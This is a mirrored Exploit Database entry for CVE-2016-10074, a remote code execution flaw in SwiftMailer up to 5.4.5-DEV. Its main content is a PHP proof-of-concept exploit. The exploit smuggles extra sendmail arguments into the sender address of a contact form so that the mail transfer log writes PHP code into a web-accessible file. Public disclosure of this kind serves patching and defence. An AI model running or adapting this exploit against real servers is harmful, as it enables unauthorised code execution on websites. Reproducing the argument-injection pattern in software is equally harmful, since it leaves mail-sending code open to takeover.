SwiftMailer < 5.4.5-DEV - Remote Code Execution

• Exploit Database
• 14 阅读

• 作者： Dawid Golunski
  日期： 2016-12-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40972/

• <?php
   
  /*
   
  SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
   
  Discovered/Coded by:
   
  Dawid Golunski
  https://legalhackers.com
   
  Full Advisory URL:
  https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html
  
  Exploit code URL:
  https://legalhackers.com/exploits/CVE-2016-10074/SwiftMailer_PoC_RCE_Exploit.txt
  
  Follow the feed for updates:
  
  https://twitter.com/dawid_golunski
  
   
  A simple PoC (working on Sendmail MTA)
   
  It will inject the following parameters to sendmail command:
   
  Arg no. 0 == [/usr/sbin/sendmail]
  Arg no. 1 == [-t]
  Arg no. 2 == [-i]
  Arg no. 3 == [-fattacker\]
  Arg no. 4 == [-oQ/tmp/]
  Arg no. 5 == [-X/var/www/cache/phpcode.php]
  Arg no. 6 == ["@email.com]
  
  
  which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
  Note /var/www/cache must be writable by www-data web user.
  
  The resulting file will contain the payload passed in the body of the msg:
   
  09607 <<< Content-Type: text/html; charset=us-ascii
  09607 <<< 
  09607 <<< <?php phpinfo(); ?>
  09607 <<< 
  09607 <<< 
  09607 <<< 
   
   
  See the full advisory URL for the exploit details.
   
  */
   
   
  // Attacker's input coming from untrusted source such as $_GET , $_POST etc.
  // For example from a Contact form with sender field
   
  $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';
  
  // ------------------
   
  // mail() param injection via the vulnerability in SwiftMailer
  
  require_once 'lib/swift_required.php';
  // Mail transport
  $transport = Swift_MailTransport::newInstance();
  // Create the Mailer using your created Transport
  $mailer = Swift_Mailer::newInstance($transport);
  
  // Create a message
  $message = Swift_Message::newInstance('Swift PoC exploit')
  ->setFrom(array($email_from => 'PoC Exploit Payload'))
  ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name'))
  ->setBody('Here is the message itself')
  ;
  // Send the message with PoC payload in 'from' field
  $result = $mailer->send($message);
  
  ?>